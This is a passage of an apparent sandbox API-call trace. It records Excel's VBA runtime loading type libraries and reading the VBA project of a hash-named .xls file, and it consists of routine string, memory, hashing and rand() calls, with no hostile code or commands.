_Destination=0x6687068, _SizeInWords=0x91, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0074.631] ITypeLib:RemoteGetDocumentation (in: This=0x679bb80, index=-1, refPtrFlags=0x1f2da8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3) returned 0x0 [0074.631] SysStringLen (param_1="VBA") returned 0x3 [0074.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0074.631] SysStringLen (param_1="VBA") returned 0x3 [0074.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0x605e948, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0074.631] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA") returned 0x10e2f7 [0074.631] strcpy_s (in: _Dst=0x1f2ba0, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0074.632] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1f2ba0, cbMultiByte=4, lpWideCharStr=0x1f29f0, cchWideChar=4 | out: lpWideCharStr="VBA") returned 4 [0074.632] IUnknown:AddRef (This=0x5a48620) returned 0x2 [0074.632] ITypeLib:RemoteIsName (in: This=0x5a48620, szNameBuf="VBA", lHashVal=0x10e2f7, pfName=0x1f2ac0, pBstrLibName=0x1f29f0 | out: pfName=0x1f2ac0*=0, pBstrLibName=0x1f29f0) returned 0x0 [0074.657] IUnknown:Release (This=0x5a48620) returned 0x1 [0074.657] IMalloc:Alloc (This=0x7fefe465380, cb=0xc) returned 0xb7fa9a0 [0074.657] IMalloc:Free (This=0x7fefe465380, pv=0xb7e4e10) [0074.657] IMalloc:Alloc (This=0x7fefe465380, cb=0x20) returned 0xb7e4e10 [0074.657] IMalloc:Free (This=0x7fefe465380, pv=0xb7fa9a0) [0074.658] wcsncpy_s (in: _Destination=0x1f29a0, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0074.658] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90 [0074.658] IMalloc:Alloc (This=0x7fefe465380, cb=0x122) returned 0xb8d5c10 [0074.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0xb8d5c10, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145 [0074.658] IMalloc:Free (This=0x7fefe465380, pv=0xb8d5c10) [0074.658] wcscpy_s (in: _Destination=0x5a76238, _SizeInWords=0x91, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0074.658] wcsncpy_s (in: _Destination=0x1f29e0, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0074.658] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90 [0074.658] IMalloc:Alloc (This=0x7fefe465380, cb=0x122) returned 0xb8d5c10 [0074.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0xb8d5c10, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145 [0074.658] IMalloc:Free (This=0x7fefe465380, pv=0xb8d5c10) [0074.658] wcsncpy_s (in: _Destination=0x1f29a0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0x0 [0074.658] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", cchLength=0x61 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0x61 [0074.658] IMalloc:Alloc (This=0x7fefe465380, cb=0xc4) returned 0x6652610 [0074.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", cchWideChar=98, lpMultiByteStr=0x6652610, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", lpUsedDefaultChar=0x0) returned 98 [0074.658] IMalloc:Free (This=0x7fefe465380, pv=0x6652610) [0074.658] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _String2="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned -4 [0074.658] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0 [0074.658] IUnknown:AddRef (This=0x679bb80) returned 0x3 [0074.658] IUnknown:QueryInterface (in: This=0x679bb80, riid=0x7fee5f864b8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1f2dc8 | out: ppvObject=0x1f2dc8*=0x0) returned 0x80004002 [0074.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0x1f2d90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0074.658] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA") returned 0x10e2f7 [0074.658] IUnknown:Release (This=0x679bb80) returned 0x2 [0074.658] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x663f2b0 [0074.658] IMalloc:GetSize (This=0x7fefe465380, pv=0x663f2b0) returned 0x0 [0074.658] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x663f2c0 [0074.658] IMalloc:GetSize (This=0x7fefe465380, pv=0x663f2c0) returned 0x0 [0074.659] VirtualQuery (in: lpAddress=0x1f3370, lpBuffer=0x1f3330, dwLength=0x30 | out: lpBuffer=0x1f3330*(BaseAddress=0x1f3000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x1d000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0074.659] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x663f2d0 [0074.659] qsort (in: _Base=0x663f2d0, _NumOfElements=0x0, _SizeOfElements=0x10, _PtFuncCompare=0x7fee5d4db70 | out: _Base=0x663f2d0) [0074.681] IMalloc:Free (This=0x7fefe465380, pv=0x663f2d0) [0074.681] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0xb7fa9a0 [0074.681] IMalloc:Alloc (This=0x7fefe465380, cb=0xc) returned 0xb7faa80 [0074.681] IMalloc:GetSize (This=0x7fefe465380, pv=0xb7faa80) returned 0xc [0074.681] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win16") returned 0x107ec1 [0074.681] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win32") returned 0x107f07 [0074.681] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win64") returned 0x107f78 [0074.681] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mac") returned 0x10b2b3 [0074.681] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA6") returned 0x1023ad [0074.681] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA7") returned 0x1023ae [0074.681] IMalloc:Free (This=0x7fefe465380, pv=0x663f2c0) [0074.681] IMalloc:Free (This=0x7fefe465380, pv=0x663f2b0) [0074.682] CoCreateGuid (in: pguid=0x1f3478 | out: pguid=0x1f3478*(Data1=0xef33894f, Data2=0x2dc8, Data3=0x4a9a, Data4=([0]=0xa1, [1]=0xb6, [2]=0xc0, [3]=0x58, [4]=0xd4, [5]=0x7, [6]=0x7e, [7]=0xd1))) returned 0x0 [0074.682] IMalloc:Alloc (This=0x7fefe465380, cb=0x6b0) returned 0xb949340 [0074.682] srand (_Seed=0x5196) [0074.682] rand () returned 2707 [0074.682] rand () returned 5367 [0074.682] rand () returned 3107 [0074.682] rand () returned 25991 [0074.682] rand () returned 22224 [0074.682] rand () returned 7173 [0074.682] rand () returned 3305 [0074.682] rand () returned 5542 [0074.682] rand () returned 21093 [0074.682] rand () returned 7093 [0074.682] rand () returned 29645 [0074.682] rand () returned 30555 [0074.682] rand () returned 4452 [0074.682] rand () returned 15519 [0074.682] rand () returned 22682 [0074.682] rand () returned 20118 [0074.682] rand () returned 26125 [0074.682] rand () returned 28117 [0074.682] rand () returned 31912 [0074.682] rand () returned 27549 [0074.682] rand () returned 25247 [0074.682] rand () returned 12135 [0074.682] rand () returned 31572 [0074.682] rand () returned 27055 [0074.682] rand () returned 11630 [0074.682] rand () returned 26157 [0074.682] rand () returned 24237 [0074.682] rand () returned 16615 [0074.682] rand () returned 23350 [0074.682] rand () returned 7360 [0074.682] rand () returned 27760 [0074.682] rand () returned 12132 [0074.682] rand () returned 17327 [0074.682] rand () returned 21962 [0074.682] rand () returned 16183 [0074.682] rand () returned 15783 [0074.682] rand () returned 1121 [0074.682] rand () returned 21376 [0074.682] rand () returned 32749 [0074.682] rand () returned 25148 [0074.682] rand () returned 9658 [0074.682] rand () returned 30828 [0074.682] rand () returned 21381 [0074.682] rand () returned 2205 [0074.682] rand () returned 5726 [0074.682] rand () returned 9584 [0074.682] rand () returned 20715 [0074.682] rand () returned 32595 [0074.683] rand () returned 28862 [0074.683] rand () returned 14600 [0074.683] rand () returned 4923 [0074.683] rand () returned 4446 [0074.683] rand () returned 16108 [0074.683] rand () returned 5071 [0074.683] rand () returned 15410 [0074.683] rand () returned 20183 [0074.683] rand () returned 12462 [0074.683] rand () returned 17989 [0074.683] rand () returned 31458 [0074.683] rand () returned 18644 [0074.683] rand () returned 30673 [0074.683] rand () returned 19407 [0074.683] rand () returned 27305 [0074.683] rand () returned 17548 [0074.683] rand () returned 16063 [0074.683] rand () returned 30463 [0074.683] rand () returned 24163 [0074.683] rand () returned 10684 [0074.683] rand () returned 27988 [0074.683] rand () returned 29462 [0074.683] rand () returned 27615 [0074.683] rand () returned 12361 [0074.683] rand () returned 12270 [0074.683] rand () returned 32455 [0074.683] rand () returned 19344 [0074.683] rand () returned 4390 [0074.683] rand () returned 29891 [0074.683] rand () returned 17470 [0074.683] rand () returned 24709 [0074.683] rand () returned 15992 [0074.683] rand () returned 21368 [0074.683] rand () returned 29281 [0074.683] rand () returned 31899 [0074.683] rand () returned 26360 [0074.683] rand () returned 4847 [0074.683] rand () returned 31574 [0074.683] rand () returned 13554 [0074.683] rand () returned 18585 [0074.683] rand () returned 16736 [0074.683] rand () returned 7237 [0074.683] rand () returned 23197 [0074.683] rand () returned 5740 [0074.683] rand () returned 4779 [0074.683] rand () returned 4703 [0074.683] rand () returned 27550 [0074.683] rand () returned 30144 [0074.683] rand () returned 30956 [0074.683] rand () returned 8479 [0074.683] rand () returned 4113 [0074.683] rand () returned 22157 [0074.683] rand () returned 11088 [0074.683] rand () returned 19919 [0074.683] rand () returned 30631 [0074.683] rand () returned 11027 [0074.683] rand () returned 3880 [0074.683] rand () returned 29775 [0074.683] rand () returned 11094 [0074.684] rand () returned 17086 [0074.684] rand () returned 14140 [0074.684] rand () returned 6418 [0074.684] rand () returned 10063 [0074.684] rand () returned 19533 [0074.684] rand () returned 28002 [0074.684] rand () returned 7273 [0074.684] rand () returned 20785 [0074.684] rand () returned 17203 [0074.684] rand () returned 31311 [0074.684] rand () returned 13060 [0074.684] rand () returned 7804 [0074.684] rand () returned 19517 [0074.684] rand () returned 8108 [0074.684] rand () returned 18357 [0074.684] rand () returned 32584 [0074.684] rand () returned 17782 [0074.684] rand () returned 30829 [0074.684] rand () returned 10872 [0074.684] rand () returned 24887 [0074.684] rand () returned 3400 [0074.684] rand () returned 13150 [0074.684] rand () returned 12465 [0074.684] rand () returned 24232 [0074.684] rand () returned 17635 [0074.684] rand () returned 23550 [0074.684] rand () returned 10932 [0074.684] rand () returned 28205 [0074.684] rand () returned 4579 [0074.684] rand () returned 9617 [0074.684] rand () returned 21130 [0074.684] rand () returned 9792 [0074.684] rand () returned 9004 [0074.684] rand () returned 27761 [0074.684] rand () returned 6131 [0074.684] rand () returned 26929 [0074.684] rand () returned 32025 [0074.684] rand () returned 24997 [0074.684] rand () returned 28071 [0074.684] rand () returned 3427 [0074.684] rand () returned 20695 [0074.685] rand () returned 5300 [0074.685] rand () returned 31713 [0074.685] rand () returned 21944 [0074.685] rand () returned 25355 [0074.685] rand () returned 20411 [0074.685] rand () returned 23582 [0074.685] rand () returned 20042 [0074.685] rand () returned 17851 [0074.685] rand () returned 31166 [0074.685] rand () returned 16930 [0074.685] rand () returned 24924 [0074.685] rand () returned 26987 [0074.685] rand () returned 29500 [0074.685] rand () returned 13885 [0074.685] rand () returned 14480 [0074.685] rand () returned 18822 [0074.685] rand () returned 8454 [0074.685] rand () returned 17612 [0074.685] rand () returned 15962 [0074.685] rand () returned 14336 [0074.685] rand () returned 6481 [0074.685] rand () returned 18178 [0074.685] rand () returned 21428 [0074.685] rand () returned 3130 [0074.685] rand () returned 9993 [0074.685] rand () returned 10473 [0074.685] rand () returned 3603 [0074.685] rand () returned 14630 [0074.685] rand () returned 5992 [0074.686] rand () returned 20643 [0074.686] rand () returned 4506 [0074.686] rand () returned 3755 [0074.686] rand () returned 1480 [0074.686] rand () returned 2806 [0074.686] rand () returned 23438 [0074.686] rand () returned 10827 [0074.686] rand () returned 6581 [0074.686] rand () returned 8456 [0074.686] rand () returned 4363 [0074.686] rand () returned 23299 [0074.686] rand () returned 27463 [0074.686] rand () returned 31590 [0074.686] rand () returned 9717 [0074.686] rand () returned 31858 [0074.686] rand () returned 430 [0074.686] rand () returned 30283 [0074.686] rand () returned 28720 [0074.686] rand () returned 3390 [0074.686] rand () returned 8207 [0074.686] rand () returned 19232 [0074.686] rand () returned 31508 [0074.686] rand () returned 1204 [0074.686] rand () returned 21647 [0074.686] rand () returned 13119 [0074.686] rand () returned 12059 [0074.686] rand () returned 11182 [0074.686] rand () returned 32173 [0074.686] rand () returned 10236 [0074.686] rand () returned 8669 [0074.686] rand () returned 31930 [0074.686] rand () returned 14804 [0074.686] rand () returned 25574 [0074.686] rand () returned 8767 [0074.686] rand () returned 20344 [0074.686] rand () returned 30000 [0074.687] rand () returned 2378 [0074.687] rand () returned 21735 [0074.687] rand () returned 21316 [0074.687] rand () returned 2498 [0074.687] rand () returned 4601 [0074.687] rand () returned 29939 [0074.687] rand () returned 7445 [0074.687] rand () returned 9647 [0074.687] rand () returned 27723 [0074.687] rand () returned 3306 [0074.687] rand () returned 19621 [0074.687] rand () returned 27614 [0074.687] rand () returned 26980 [0074.687] rand () returned 15346 [0074.687] rand () returned 3283 [0074.687] rand () returned 705 [0074.687] rand () returned 24758 [0074.687] rand () returned 23364 [0074.687] rand () returned 29509 [0074.687] rand () returned 1395 [0074.687] rand () returned 11463 [0074.687] rand () returned 6110 [0074.687] rand () returned 849 [0074.687] rand () returned 2820 [0074.687] rand () returned 25909 [0074.687] rand () returned 21623 [0074.687] rand () returned 22558 [0074.687] rand () returned 14353 [0074.687] rand () returned 31223 [0074.687] rand () returned 26552 [0074.687] rand () returned 14854 [0074.687] rand () returned 3735 [0074.687] rand () returned 5093 [0074.687] rand () returned 2729 [0074.687] rand () returned 9023 [0074.687] rand () returned 28680 [0074.687] CoCreateGuid (in: pguid=0x67556c8 | out: pguid=0x67556c8*(Data1=0xc05c1cd2, Data2=0x8b71, Data3=0x47b6, Data4=([0]=0xb2, [1]=0x14, [2]=0x78, [3]=0xfc, [4]=0xd3, [5]=0x45, [6]=0xee, [7]=0x1a))) returned 0x0 [0074.687] strcpy_s (in: _Dst=0x6755728, _DstSize=0x1, _Src="" | out: _Dst="") returned 0x0 [0074.687] CExposedStream::Read () returned 0x0 [0074.687] IMalloc:Alloc (This=0x7fefe465380, cb=0x2028) returned 0xb949a00 [0074.688] IMalloc:Alloc (This=0x7fefe465380, cb=0x10020*=0x10128) returned 0xb94ba30 [0074.688] CExposedStream::AddRef () returned 0x2 [0074.688] CExposedStream::Release () returned 0x1 [0074.689] CExposedStream::Read () returned 0x0 [0074.689] CExposedStream::Read () returned 0x0 [0074.714] CompareStringA (Locale=0x409, dwCmpFlags=0x3, lpString1="Test", cchCount1=-1, lpString2="Test", cchCount2=-1) returned 2 [0074.714] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x0, lpMultiByteStr=0x1f3474, cbMultiByte=2, lpWideCharStr=0x1f3488, cchWideChar=2 | out: lpWideCharStr="") returned 2 [0074.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=11, lpMultiByteStr=0x1f3400, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBAProject", lpUsedDefaultChar=0x0) returned 11 [0074.714] lstrcmpiA (lpString1="", lpString2="VBAProject") returned -1 [0074.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0074.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=-1, lpMultiByteStr=0x1f3300, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBAProject", lpUsedDefaultChar=0x0) returned 11 [0074.714] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0074.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=11, lpMultiByteStr=0x1f3210, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBAProject", lpUsedDefaultChar=0x0) returned 11 [0074.714] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0074.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=11, lpMultiByteStr=0x1f3210, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBAProject", lpUsedDefaultChar=0x0) returned 11 [0074.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=11, lpMultiByteStr=0x1f30d0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBAProject", lpUsedDefaultChar=0x0) returned 11 [0074.714] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0074.714] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0074.714] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0xb7fa640 [0074.714] IMalloc:Free (This=0x7fefe465380, pv=0xb7e4e10) [0074.714] IMalloc:Alloc (This=0x7fefe465380, cb=0x20) returned 0xb7e4e10 [0074.714] IMalloc:Free (This=0x7fefe465380, pv=0xb7fa640) [0074.715] strcpy_s (in: _Dst=0x6755738, _DstSize=0xb, _Src="VBAProject" | out: _Dst="VBAProject") returned 0x0 [0074.717] wcscpy_s (in: _Destination=0x60c7640, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0074.717] wcsncpy_s (in: _Destination=0x1f3060, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0074.717] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation") returned 0x5e [0074.717] IMalloc:Alloc (This=0x7fefe465380, cb=0xbe) returned 0x6652610 [0074.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0x6652610, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0074.717] IMalloc:Free (This=0x7fefe465380, pv=0x6652610) [0074.717] wcscpy_s (in: _Destination=0x5a76390, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0074.717] wcsncpy_s (in: _Destination=0x1f30a0, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0074.717] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation") returned 0x5e [0074.717] IMalloc:Alloc (This=0x7fefe465380, cb=0xbe) returned 0x6652610 [0074.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0x6652610, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0074.717] IMalloc:Free (This=0x7fefe465380, pv=0x6652610) [0074.717] wcsncpy_s (in: _Destination=0x1f3060, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0x0 [0074.717] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", cchLength=0x61 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0x61 [0074.717] IMalloc:Alloc (This=0x7fefe465380, cb=0xc4) returned 0x6652610 [0074.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", cchWideChar=98, lpMultiByteStr=0x6652610, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", lpUsedDefaultChar=0x0) returned 98 [0074.717] IMalloc:Free (This=0x7fefe465380, pv=0x6652610) [0074.717] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _String2="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned -4 [0074.717] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0 [0074.717] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="stdole") returned 0x106093 [0074.717] strcpy_s (in: 